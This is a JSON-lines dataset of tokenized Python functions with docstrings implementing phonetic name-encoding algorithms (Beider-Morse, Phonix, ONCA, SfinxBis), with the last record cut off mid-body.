{"signature": "def _remove_dupes(self, phonetic):", "body": "alt_string = phonetic<EOL>alt_array = alt_string.split('<STR_LIT:|>')<EOL>result = '<STR_LIT:|>'<EOL>for i in range(len(alt_array)):<EOL><INDENT>alt = alt_array[i]<EOL>if alt and '<STR_LIT:|>' + alt + '<STR_LIT:|>' not in result:<EOL><INDENT>result += alt + '<STR_LIT:|>'<EOL><DEDENT><DEDENT>return result[<NUM_LIT:1>:-<NUM_LIT:1>]<EOL>", "docstring": "Remove duplicates from a phonetic encoding list.\n\n        Parameters\n        ----------\n        phonetic : str\n            A Beider-Morse phonetic encoding\n\n        Returns\n        -------\n        str\n            A Beider-Morse phonetic code", "id": "f6587:c0:m8"}
{"signature": "def _normalize_lang_attrs(self, text, strip):", "body": "uninitialized = -<NUM_LIT:1>  <EOL>attrib = uninitialized<EOL>while '<STR_LIT:[>' in text:<EOL><INDENT>bracket_start = text.find('<STR_LIT:[>')<EOL>bracket_end = text.find('<STR_LIT:]>', bracket_start)<EOL>if bracket_end == -<NUM_LIT:1>:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>+ text<EOL>+ '<STR_LIT>'<EOL>+ text_type(strip)<EOL>+ '<STR_LIT:)>'<EOL>)<EOL><DEDENT>attrib &= int(text[bracket_start + <NUM_LIT:1> : bracket_end])<EOL>text = text[:bracket_start] + text[bracket_end + <NUM_LIT:1> :]<EOL><DEDENT>if attrib == uninitialized or strip:<EOL><INDENT>return text<EOL><DEDENT>elif attrib == <NUM_LIT:0>:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>return text + '<STR_LIT:[>' + str(attrib) + '<STR_LIT:]>'<EOL>", "docstring": "Remove embedded bracketed attributes.\n\n        This (potentially) bitwise-ands bracketed attributes together and adds\n        to the end.\n        This is applied to a single alternative at a time -- not to a\n        parenthesized list.\n        It removes all embedded bracketed attributes, logically-ands them\n        together, and places them at the end.\n        However if strip is true, this can indeed remove embedded bracketed\n        attributes from a parenthesized list.\n\n        Parameters\n        ----------\n        text : str\n            A Beider-Morse phonetic encoding (in progress)\n        strip : bool\n            Remove the bracketed attributes (and throw away)\n\n        Returns\n        -------\n        str\n            A Beider-Morse phonetic code\n\n        Raises\n        ------\n        ValueError\n            No closing square bracket", "id": "f6587:c0:m9"}
{"signature": "def _apply_rule_if_compat(self, phonetic, target, language_arg):", "body": "candidate = phonetic + target<EOL>if '<STR_LIT:[>' not in candidate:  <EOL><INDENT>return candidate<EOL><DEDENT>candidate = self._expand_alternates(candidate)<EOL>candidate_array = candidate.split('<STR_LIT:|>')<EOL>candidate = '<STR_LIT>'<EOL>found = False<EOL>for i in range(len(candidate_array)):<EOL><INDENT>this_candidate = candidate_array[i]<EOL>if language_arg != <NUM_LIT:1>:<EOL><INDENT>this_candidate = self._normalize_lang_attrs(<EOL>this_candidate + '<STR_LIT:[>' + str(language_arg) + '<STR_LIT:]>', False<EOL>)<EOL><DEDENT>if this_candidate != '<STR_LIT>':<EOL><INDENT>found = True<EOL>if candidate:<EOL><INDENT>candidate += '<STR_LIT:|>'<EOL><DEDENT>candidate += this_candidate<EOL><DEDENT><DEDENT>if not found:<EOL><INDENT>return None<EOL><DEDENT>if '<STR_LIT:|>' in candidate:<EOL><INDENT>candidate = '<STR_LIT:(>' + candidate + '<STR_LIT:)>'<EOL><DEDENT>return candidate<EOL>", "docstring": "Apply a phonetic regex if compatible.\n\n        tests for compatible language rules\n\n        to do so, apply the rule, expand the results, and detect alternatives\n            with incompatible attributes\n\n        then drop each alternative that has incompatible attributes and keep\n            those that are compatible\n\n        if there are no compatible alternatives left, return false\n\n        otherwise return the compatible alternatives\n\n        apply the rule\n\n        Parameters\n        ----------\n        phonetic : str\n            The Beider-Morse phonetic encoding (so far)\n        target : str\n            A proposed addition to the phonetic encoding\n        language_arg : int\n            An integer representing the target language of the phonetic\n            encoding\n\n        Returns\n        -------\n        str\n            A candidate encoding", "id": "f6587:c0:m10"}
{"signature": "def _language_index_from_code(self, code, name_mode):", "body": "if code < <NUM_LIT:1> or code > sum(<EOL>_LANG_DICT[_] for _ in BMDATA[name_mode]['<STR_LIT>']<EOL>):  <EOL><INDENT>return L_ANY<EOL><DEDENT>if (<EOL>code & (code - <NUM_LIT:1>)<EOL>) != <NUM_LIT:0>:  <EOL><INDENT>return L_ANY<EOL><DEDENT>return code<EOL>", "docstring": "Return the index value for a language code.\n\n        This returns l_any if more than one code is specified or the code is\n        out of bounds.\n\n        Parameters\n        ----------\n        code : int\n            The language code to interpret\n        name_mode : str\n            The name mode of the algorithm: ``gen`` (default),\n            ``ash`` (Ashkenazi), or ``sep`` (Sephardic)\n\n        Returns\n        -------\n        int\n            Language code index", "id": "f6587:c0:m11"}
{"signature": "def encode(<EOL>self,<EOL>word,<EOL>language_arg=<NUM_LIT:0>,<EOL>name_mode='<STR_LIT>',<EOL>match_mode='<STR_LIT>',<EOL>concat=False,<EOL>filter_langs=False,<EOL>):", "body": "word = normalize('<STR_LIT>', text_type(word.strip().lower()))<EOL>name_mode = name_mode.strip().lower()[:<NUM_LIT:3>]<EOL>if name_mode not in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>name_mode = '<STR_LIT>'<EOL><DEDENT>if match_mode != '<STR_LIT>':<EOL><INDENT>match_mode = '<STR_LIT>'<EOL><DEDENT>all_langs = (<EOL>sum(_LANG_DICT[_] for _ in BMDATA[name_mode]['<STR_LIT>']) - <NUM_LIT:1><EOL>)<EOL>lang_choices = <NUM_LIT:0><EOL>if isinstance(language_arg, (int, float, long)):<EOL><INDENT>lang_choices = int(language_arg)<EOL><DEDENT>elif language_arg != '<STR_LIT>' and isinstance(language_arg, (text_type, str)):<EOL><INDENT>for lang in text_type(language_arg).lower().split('<STR_LIT:U+002C>'):<EOL><INDENT>if lang in _LANG_DICT and (_LANG_DICT[lang] & all_langs):<EOL><INDENT>lang_choices += _LANG_DICT[lang]<EOL><DEDENT>elif not filter_langs:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>+ name_mode<EOL>+ '<STR_LIT>'<EOL>+ lang<EOL>+ '<STR_LIT>'<EOL>)<EOL><DEDENT><DEDENT><DEDENT>if lang_choices == <NUM_LIT:0>:<EOL><INDENT>language_arg = self._language(word, name_mode)<EOL><DEDENT>else:<EOL><INDENT>language_arg = lang_choices<EOL><DEDENT>language_arg2 = self._language_index_from_code(language_arg, name_mode)<EOL>rules = BMDATA[name_mode]['<STR_LIT>'][language_arg2]<EOL>final_rules1 = BMDATA[name_mode][match_mode]['<STR_LIT>']<EOL>final_rules2 = BMDATA[name_mode][match_mode][language_arg2]<EOL>result = self._phonetic(<EOL>word,<EOL>name_mode,<EOL>rules,<EOL>final_rules1,<EOL>final_rules2,<EOL>language_arg,<EOL>concat,<EOL>)<EOL>result = self._phonetic_numbers(result)<EOL>return result<EOL>", "docstring": "Return the Beider-Morse Phonetic Matching encoding(s) of a term.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform\n        language_arg : int\n            The language of the term; supported values include:\n\n                - ``any``\n                - ``arabic``\n                - ``cyrillic``\n                - ``czech``\n                - ``dutch``\n                - ``english``\n                - ``french``\n                - ``german``\n                - ``greek``\n                - ``greeklatin``\n                - ``hebrew``\n                - ``hungarian``\n                - ``italian``\n                - ``latvian``\n                - ``polish``\n                - ``portuguese``\n                - ``romanian``\n                - ``russian``\n                - ``spanish``\n                - ``turkish``\n\n        name_mode : str\n            The name mode of the algorithm:\n\n                - ``gen`` -- general (default)\n                - ``ash`` -- Ashkenazi\n                - ``sep`` -- Sephardic\n\n        match_mode : str\n            Matching mode: ``approx`` or ``exact``\n        concat : bool\n            Concatenation mode\n        filter_langs : bool\n            Filter out incompatible languages\n\n        Returns\n        -------\n        tuple\n            The Beider-Morse phonetic value(s)\n\n        Raises\n        ------\n        ValueError\n            Unknown language\n\n        Examples\n        --------\n        >>> pe = BeiderMorse()\n        >>> pe.encode('Christopher')\n        'xrQstopir xrQstYpir xristopir xristYpir xrQstofir xrQstYfir\n        xristofir xristYfir xristopi xritopir xritopi xristofi xritofir\n        xritofi tzristopir tzristofir zristopir zristopi zritopir zritopi\n        zristofir zristofi zritofir zritofi'\n        >>> pe.encode('Niall')\n        'nial niol'\n        >>> pe.encode('Smith')\n        'zmit'\n        >>> pe.encode('Schmidt')\n        'zmit stzmit'\n\n        >>> pe.encode('Christopher', language_arg='German')\n        'xrQstopir xrQstYpir xristopir xristYpir xrQstofir xrQstYfir\n        xristofir xristYfir'\n        >>> pe.encode('Christopher', language_arg='English')\n        'tzristofir tzrQstofir tzristafir tzrQstafir xristofir xrQstofir\n        xristafir xrQstafir'\n        >>> pe.encode('Christopher', language_arg='German', name_mode='ash')\n        'xrQstopir xrQstYpir xristopir xristYpir xrQstofir xrQstYfir\n        xristofir xristYfir'\n\n        >>> pe.encode('Christopher', language_arg='German', match_mode='exact')\n        'xriStopher xriStofer xristopher xristofer'", "id": "f6587:c0:m12"}
{"signature": "def phonix(word, max_length=<NUM_LIT:4>, zero_pad=True):", "body": "return Phonix().encode(word, max_length, zero_pad)<EOL>", "docstring": "Return the Phonix code for a word.\n\n    This is a wrapper for :py:meth:`Phonix.encode`.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform\n    max_length : int\n        The length of the code returned (defaults to 4)\n    zero_pad : bool\n        Pad the end of the return value with 0s to achieve a max_length string\n\n    Returns\n    -------\n    str\n        The Phonix value\n\n    Examples\n    --------\n    >>> phonix('Christopher')\n    'K683'\n    >>> phonix('Niall')\n    'N400'\n    >>> phonix('Smith')\n    'S530'\n    >>> phonix('Schmidt')\n    'S530'", "id": "f6588:m0"}
{"signature": "def __init__(self):", "body": "self._uc_c_set = (<EOL>super(Phonix, self)._uc_set - super(Phonix, self)._uc_v_set<EOL>)<EOL>self._substitutions = (<EOL>(<NUM_LIT:3>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<NUM_LIT:3>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<NUM_LIT:3>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<NUM_LIT:3>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<NUM_LIT:3>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<NUM_LIT:3>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<NUM_LIT:3>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<NUM_LIT:0>, '<STR_LIT>', '<STR_LIT>', super(Phonix, self)._uc_v_set),<EOL>(<NUM_LIT:3>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<NUM_LIT:1>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<NUM_LIT:1>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<NUM_LIT:0>, '<STR_LIT>', '<STR_LIT>', super(Phonix, self)._uc_v_set),<EOL>(<NUM_LIT:0>, '<STR_LIT>', '<STR_LIT>', super(Phonix, self)._uc_v_set),<EOL>(<NUM_LIT:0>, '<STR_LIT>', '<STR_LIT:R>'),<EOL>(<NUM_LIT:3>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<NUM_LIT:3>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<NUM_LIT:3>, '<STR_LIT>', '<STR_LIT:F>'),<EOL>(<NUM_LIT:3>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<NUM_LIT:3>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<NUM_LIT:3>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<NUM_LIT:3>, '<STR_LIT>', '<STR_LIT:T>'),<EOL>(<NUM_LIT:3>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<EOL><NUM_LIT:2>,<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>super(Phonix, self)._uc_v_set,<EOL>super(Phonix, self)._uc_v_set,<EOL>),<EOL>(<NUM_LIT:3>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<NUM_LIT:0>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<NUM_LIT:0>, '<STR_LIT>', '<STR_LIT:N>'),<EOL>(<NUM_LIT:1>, '<STR_LIT>', '<STR_LIT:N>'),<EOL>(<NUM_LIT:3>, '<STR_LIT>', '<STR_LIT:N>'),<EOL>(<NUM_LIT:1>, '<STR_LIT>', '<STR_LIT:N>'),<EOL>(<NUM_LIT:3>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<NUM_LIT:1>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<NUM_LIT:0>, '<STR_LIT>', '<STR_LIT:N>'),<EOL>(<NUM_LIT:2>, '<STR_LIT>', '<STR_LIT:N>', None, self._uc_c_set),<EOL>(<NUM_LIT:1>, '<STR_LIT>', '<STR_LIT:N>'),<EOL>(<NUM_LIT:0>, '<STR_LIT>', '<STR_LIT:S>'),<EOL>(<NUM_LIT:0>, '<STR_LIT>', '<STR_LIT:T>'),<EOL>(<NUM_LIT:0>, '<STR_LIT>', '<STR_LIT:C>'),<EOL>(<NUM_LIT:2>, '<STR_LIT>', '<STR_LIT>', super(Phonix, self)._uc_v_set),<EOL>(<NUM_LIT:2>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<NUM_LIT:3>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<NUM_LIT:3>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<NUM_LIT:2>, '<STR_LIT>', '<STR_LIT:S>', None, super(Phonix, self)._uc_v_set),<EOL>(<NUM_LIT:3>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<NUM_LIT:2>, '<STR_LIT>', '<STR_LIT>', self._uc_c_set),<EOL>(<NUM_LIT:3>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<NUM_LIT:3>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<EOL><NUM_LIT:2>,<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>super(Phonix, self)._uc_v_set,<EOL>super(Phonix, self)._uc_v_set,<EOL>),<EOL>(<EOL><NUM_LIT:2>,<EOL>'<STR_LIT>',<EOL>'<STR_LIT:Y>',<EOL>super(Phonix, self)._uc_v_set,<EOL>super(Phonix, self)._uc_v_set,<EOL>),<EOL>(<NUM_LIT:0>, '<STR_LIT>', '<STR_LIT:Y>', super(Phonix, self)._uc_v_set),<EOL>(<NUM_LIT:0>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<NUM_LIT:1>, '<STR_LIT>', '<STR_LIT:E>', super(Phonix, self)._uc_v_set),<EOL>(<NUM_LIT:0>, '<STR_LIT>', '<STR_LIT:S>'),<EOL>(<NUM_LIT:3>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<NUM_LIT:0>, '<STR_LIT>', '<STR_LIT:F>'),<EOL>(<NUM_LIT:1>, '<STR_LIT>', '<STR_LIT:T>'),<EOL>(<NUM_LIT:1>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<NUM_LIT:1>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<NUM_LIT:3>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<NUM_LIT:0>, '<STR_LIT>', '<STR_LIT>', super(Phonix, self)._uc_v_set),<EOL>(<NUM_LIT:0>, '<STR_LIT>', '<STR_LIT>', super(Phonix, self)._uc_v_set),<EOL>(<NUM_LIT:0>, '<STR_LIT>', '<STR_LIT:T>', super(Phonix, self)._uc_v_set),<EOL>(<NUM_LIT:3>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<NUM_LIT:2>, '<STR_LIT>', '<STR_LIT>', super(Phonix, self)._uc_v_set),<EOL>(<NUM_LIT:1>, '<STR_LIT>', '<STR_LIT>', super(Phonix, self)._uc_v_set),<EOL>(<NUM_LIT:0>, '<STR_LIT>', '<STR_LIT:N>', super(Phonix, self)._uc_v_set),<EOL>(<NUM_LIT:0>, '<STR_LIT>', '<STR_LIT:N>', super(Phonix, self)._uc_v_set),<EOL>(<NUM_LIT:2>, '<STR_LIT>', '<STR_LIT>', super(Phonix, self)._uc_v_set),<EOL>(<NUM_LIT:1>, '<STR_LIT>', '<STR_LIT>', super(Phonix, self)._uc_v_set),<EOL>(<NUM_LIT:1>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<NUM_LIT:1>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<NUM_LIT:3>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<NUM_LIT:3>, '<STR_LIT:X>', '<STR_LIT>'),<EOL>(<NUM_LIT:1>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<NUM_LIT:3>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<NUM_LIT:1>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<NUM_LIT:3>, '<STR_LIT>', '<STR_LIT:S>'),<EOL>(<NUM_LIT:2>, '<STR_LIT:R>', '<STR_LIT>', super(Phonix, self)._uc_v_set, self._uc_c_set),<EOL>(<NUM_LIT:1>, '<STR_LIT:R>', '<STR_LIT>', super(Phonix, self)._uc_v_set),<EOL>(<NUM_LIT:2>, '<STR_LIT>', '<STR_LIT>', super(Phonix, self)._uc_v_set, self._uc_c_set),<EOL>(<NUM_LIT:1>, '<STR_LIT>', '<STR_LIT>', super(Phonix, self)._uc_v_set),<EOL>(<NUM_LIT:1>, '<STR_LIT>', '<STR_LIT>', super(Phonix, self)._uc_v_set),<EOL>(<NUM_LIT:1>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<NUM_LIT:1>, '<STR_LIT:R>', '<STR_LIT>', super(Phonix, self)._uc_v_set),<EOL>(<NUM_LIT:3>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<NUM_LIT:1>, '<STR_LIT>', '<STR_LIT>', self._uc_c_set),<EOL>(<NUM_LIT:1>, '<STR_LIT>', '<STR_LIT>', self._uc_c_set),<EOL>(<NUM_LIT:1>, '<STR_LIT:E>', '<STR_LIT>'),<EOL>(<NUM_LIT:1>, '<STR_LIT>', '<STR_LIT:S>'),<EOL>(<NUM_LIT:1>, '<STR_LIT>', '<STR_LIT>', super(Phonix, self)._uc_v_set),<EOL>(<NUM_LIT:1>, '<STR_LIT>', '<STR_LIT:M>', super(Phonix, self)._uc_v_set),<EOL>(<NUM_LIT:3>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<NUM_LIT:3>, '<STR_LIT>', '<STR_LIT>'),<EOL>(<NUM_LIT:3>, '<STR_LIT>', '<STR_LIT>'),<EOL>)<EOL>", "docstring": "Initialize Phonix.", "id": "f6588:c0:m0"}
{"signature": "def encode(self, word, max_length=<NUM_LIT:4>, zero_pad=True):", "body": "def _start_repl(word, src, tar, post=None):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if post:<EOL><INDENT>for i in post:<EOL><INDENT>if word.startswith(src + i):<EOL><INDENT>return tar + word[len(src) :]<EOL><DEDENT><DEDENT><DEDENT>elif word.startswith(src):<EOL><INDENT>return tar + word[len(src) :]<EOL><DEDENT>return word<EOL><DEDENT>def _end_repl(word, src, tar, pre=None):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if pre:<EOL><INDENT>for i in pre:<EOL><INDENT>if word.endswith(i + src):<EOL><INDENT>return word[: -len(src)] + tar<EOL><DEDENT><DEDENT><DEDENT>elif word.endswith(src):<EOL><INDENT>return word[: -len(src)] + tar<EOL><DEDENT>return word<EOL><DEDENT>def _mid_repl(word, src, tar, pre=None, post=None):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if pre or post:<EOL><INDENT>if not pre:<EOL><INDENT>return word[<NUM_LIT:0>] + _all_repl(word[<NUM_LIT:1>:], src, tar, pre, post)<EOL><DEDENT>elif not post:<EOL><INDENT>return _all_repl(word[:-<NUM_LIT:1>], src, tar, pre, post) + word[-<NUM_LIT:1>]<EOL><DEDENT>return _all_repl(word, src, tar, pre, post)<EOL><DEDENT>return (<EOL>word[<NUM_LIT:0>] + _all_repl(word[<NUM_LIT:1>:-<NUM_LIT:1>], src, tar, pre, post) + word[-<NUM_LIT:1>]<EOL>)<EOL><DEDENT>def _all_repl(word, src, tar, pre=None, post=None):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if pre or post:<EOL><INDENT>if post:<EOL><INDENT>post = post<EOL><DEDENT>else:<EOL><INDENT>post = frozenset(('<STR_LIT>',))<EOL><DEDENT>if pre:<EOL><INDENT>pre = pre<EOL><DEDENT>else:<EOL><INDENT>pre = frozenset(('<STR_LIT>',))<EOL><DEDENT>for i, j in ((i, j) for i in pre for j in post):<EOL><INDENT>word = word.replace(i + src + j, i + tar + j)<EOL><DEDENT>return word<EOL><DEDENT>else:<EOL><INDENT>return word.replace(src, tar)<EOL><DEDENT><DEDENT>repl_at = (_start_repl, _end_repl, _mid_repl, _all_repl)<EOL>sdx = '<STR_LIT>'<EOL>word = unicode_normalize('<STR_LIT>', text_type(word.upper()))<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = '<STR_LIT>'.join(c for c in word if c in self._uc_set)<EOL>if word:<EOL><INDENT>for trans in self._substitutions:<EOL><INDENT>word = repl_at[trans[<NUM_LIT:0>]](word, *trans[<NUM_LIT:1>:])<EOL><DEDENT>if word[<NUM_LIT:0>] in self._uc_vy_set:<EOL><INDENT>sdx = '<STR_LIT:v>' + word[<NUM_LIT:1>:].translate(self._trans)<EOL><DEDENT>else:<EOL><INDENT>sdx = word[<NUM_LIT:0>] + word[<NUM_LIT:1>:].translate(self._trans)<EOL><DEDENT>sdx = self._delete_consecutive_repeats(sdx)<EOL>sdx = sdx.replace('<STR_LIT:0>', '<STR_LIT>')<EOL><DEDENT>if max_length != -<NUM_LIT:1>:<EOL><INDENT>max_length = min(max(<NUM_LIT:4>, max_length), <NUM_LIT:64>)<EOL><DEDENT>else:<EOL><INDENT>max_length = <NUM_LIT:64><EOL><DEDENT>if zero_pad:<EOL><INDENT>sdx += '<STR_LIT:0>' * max_length<EOL><DEDENT>if not sdx:<EOL><INDENT>sdx = '<STR_LIT:0>'<EOL><DEDENT>return sdx[:max_length]<EOL>", "docstring": "Return the Phonix code for a word.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform\n        max_length : int\n            The length of the code returned (defaults to 4)\n        zero_pad : bool\n            Pad the end of the return value with 0s to achieve a max_length\n            string\n\n        Returns\n        -------\n        str\n            The Phonix value\n\n        Examples\n        --------\n        >>> pe = Phonix()\n        >>> pe.encode('Christopher')\n        'K683'\n        >>> pe.encode('Niall')\n        'N400'\n        >>> pe.encode('Smith')\n        'S530'\n        >>> pe.encode('Schmidt')\n        'S530'", "id": "f6588:c0:m1"}
{"signature": "def onca(word, max_length=<NUM_LIT:4>, zero_pad=True):", "body": "return ONCA().encode(word, max_length, zero_pad)<EOL>", "docstring": "Return the Oxford Name Compression Algorithm (ONCA) code for a word.\n\n    This is a wrapper for :py:meth:`ONCA.encode`.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform\n    max_length : int\n        The maximum length (default 5) of the code to return\n    zero_pad : bool\n        Pad the end of the return value with 0s to achieve a max_length string\n\n    Returns\n    -------\n    str\n        The ONCA code\n\n    Examples\n    --------\n    >>> onca('Christopher')\n    'C623'\n    >>> onca('Niall')\n    'N400'\n    >>> onca('Smith')\n    'S530'\n    >>> onca('Schmidt')\n    'S530'", "id": "f6589:m0"}
{"signature": "def encode(self, word, max_length=<NUM_LIT:4>, zero_pad=True):", "body": "<EOL>return self._soundex.encode(<EOL>self._nysiis.encode(word, max_length=max_length * <NUM_LIT:3>),<EOL>max_length,<EOL>zero_pad=zero_pad,<EOL>)<EOL>", "docstring": "Return the Oxford Name Compression Algorithm (ONCA) code for a word.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform\n        max_length : int\n            The maximum length (default 5) of the code to return\n        zero_pad : bool\n            Pad the end of the return value with 0s to achieve a max_length\n            string\n\n        Returns\n        -------\n        str\n            The ONCA code\n\n        Examples\n        --------\n        >>> pe = ONCA()\n        >>> pe.encode('Christopher')\n        'C623'\n        >>> pe.encode('Niall')\n        'N400'\n        >>> pe.encode('Smith')\n        'S530'\n        >>> pe.encode('Schmidt')\n        'S530'", "id": "f6589:c0:m0"}
{"signature": "def sfinxbis(word, max_length=-<NUM_LIT:1>):", "body": "return SfinxBis().encode(word, max_length)<EOL>", "docstring": "Return the SfinxBis code for a word.\n\n    This is a wrapper for :py:meth:`SfinxBis.encode`.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform\n    max_length : int\n        The length of the code returned (defaults to unlimited)\n\n    Returns\n    -------\n    tuple\n        The SfinxBis value\n\n    Examples\n    --------\n    >>> sfinxbis('Christopher')\n    ('K68376',)\n    >>> sfinxbis('Niall')\n    ('N4',)\n    >>> sfinxbis('Smith')\n    ('S53',)\n    >>> sfinxbis('Schmidt')\n    ('S53',)\n\n    >>> sfinxbis('Johansson')\n    ('J585',)\n    >>> sfinxbis('Sj\u00f6berg')\n    ('#162',)", "id": "f6590:m0"}
{"signature": "def encode(self, word, max_length=-<NUM_LIT:1>):", "body": "def _foersvensker(lokal_ordet):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>lokal_ordet = lokal_ordet.replace('<STR_LIT>', '<STR_LIT>')<EOL>lokal_ordet = lokal_ordet.replace('<STR_LIT>', '<STR_LIT>')<EOL>lokal_ordet = lokal_ordet.replace('<STR_LIT>', '<STR_LIT>')<EOL>lokal_ordet = lokal_ordet.replace('<STR_LIT>', '<STR_LIT>')<EOL>lokal_ordet = lokal_ordet.replace('<STR_LIT>', '<STR_LIT>')<EOL>lokal_ordet = lokal_ordet.replace('<STR_LIT>', '<STR_LIT>')<EOL>lokal_ordet = lokal_ordet.replace('<STR_LIT>', '<STR_LIT:F>')<EOL>for i in self._harde_vokaler:<EOL><INDENT>lokal_ordet = lokal_ordet.replace(i + '<STR_LIT>', i + '<STR_LIT>')<EOL>lokal_ordet = lokal_ordet.replace(i + '<STR_LIT:Y>', i + '<STR_LIT>')<EOL>lokal_ordet = lokal_ordet.replace(i + '<STR_LIT:I>', i + '<STR_LIT>')<EOL><DEDENT>for i in self._mjuka_vokaler:<EOL><INDENT>lokal_ordet = lokal_ordet.replace(i + '<STR_LIT>', i + '<STR_LIT>')<EOL>lokal_ordet = lokal_ordet.replace(i + '<STR_LIT:Y>', i + '<STR_LIT>')<EOL>lokal_ordet = lokal_ordet.replace(i + '<STR_LIT:I>', i + '<STR_LIT>')<EOL><DEDENT>if '<STR_LIT:H>' in lokal_ordet:<EOL><INDENT>for i in self._uc_c_set:<EOL><INDENT>lokal_ordet = lokal_ordet.replace('<STR_LIT:H>' + i, i)<EOL><DEDENT><DEDENT>lokal_ordet = lokal_ordet.translate(self._substitutions)<EOL>lokal_ordet = lokal_ordet.replace('<STR_LIT>', '<STR_LIT>')<EOL>lokal_ordet = lokal_ordet.replace('<STR_LIT>', '<STR_LIT>')<EOL>lokal_ordet = lokal_ordet.replace('<STR_LIT>', '<STR_LIT>')<EOL>return lokal_ordet<EOL><DEDENT>def _koda_foersta_ljudet(lokal_ordet):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if (<EOL>lokal_ordet[<NUM_LIT:0>:<NUM_LIT:1>] in self._mjuka_vokaler<EOL>or lokal_ordet[<NUM_LIT:0>:<NUM_LIT:1>] in self._harde_vokaler<EOL>):<EOL><INDENT>lokal_ordet = '<STR_LIT:$>' + lokal_ordet[<NUM_LIT:1>:]<EOL><DEDENT>elif lokal_ordet[<NUM_LIT:0>:<NUM_LIT:2>] in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>lokal_ordet = '<STR_LIT>' + lokal_ordet[<NUM_LIT:2>:]<EOL><DEDENT>elif (<EOL>lokal_ordet[<NUM_LIT:0>:<NUM_LIT:1>] == '<STR_LIT>'<EOL>and lokal_ordet[<NUM_LIT:1>:<NUM_LIT:2>] in self._mjuka_vokaler<EOL>):<EOL><INDENT>lokal_ordet = '<STR_LIT>' + lokal_ordet[<NUM_LIT:1>:]<EOL><DEDENT>elif lokal_ordet[<NUM_LIT:0>:<NUM_LIT:1>] == '<STR_LIT>':<EOL><INDENT>lokal_ordet = '<STR_LIT>' + lokal_ordet[<NUM_LIT:1>:]<EOL><DEDENT>elif lokal_ordet[<NUM_LIT:0>:<NUM_LIT:2>] == '<STR_LIT>' and lokal_ordet[<NUM_LIT:2>:<NUM_LIT:3>] in frozenset(<EOL>self._mjuka_vokaler | self._harde_vokaler<EOL>):<EOL><INDENT>lokal_ordet = '<STR_LIT:#>' + lokal_ordet[<NUM_LIT:2>:]<EOL><DEDENT>elif (<EOL>lokal_ordet[<NUM_LIT:0>:<NUM_LIT:1>] == '<STR_LIT:C>'<EOL>and lokal_ordet[<NUM_LIT:1>:<NUM_LIT:2>] in self._harde_vokaler<EOL>):<EOL><INDENT>lokal_ordet = '<STR_LIT>' + lokal_ordet[<NUM_LIT:1>:]<EOL><DEDENT>elif (<EOL>lokal_ordet[<NUM_LIT:0>:<NUM_LIT:1>] == '<STR_LIT:C>' and lokal_ordet[<NUM_LIT:1>:<NUM_LIT:2>] in self._uc_c_set<EOL>):<EOL><INDENT>lokal_ordet = '<STR_LIT>' + lokal_ordet[<NUM_LIT:1>:]<EOL><DEDENT>elif lokal_ordet[<NUM_LIT:0>:<NUM_LIT:1>] == '<STR_LIT:X>':<EOL><INDENT>lokal_ordet = '<STR_LIT:S>' + lokal_ordet[<NUM_LIT:1>:]<EOL><DEDENT>elif (<EOL>lokal_ordet[<NUM_LIT:0>:<NUM_LIT:1>] == '<STR_LIT:C>'<EOL>and lokal_ordet[<NUM_LIT:1>:<NUM_LIT:2>] in self._mjuka_vokaler<EOL>):<EOL><INDENT>lokal_ordet = 